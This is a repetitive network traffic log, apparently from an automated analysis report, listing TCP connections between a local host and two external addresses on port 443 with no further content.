Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 13.107.246.60:443

Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
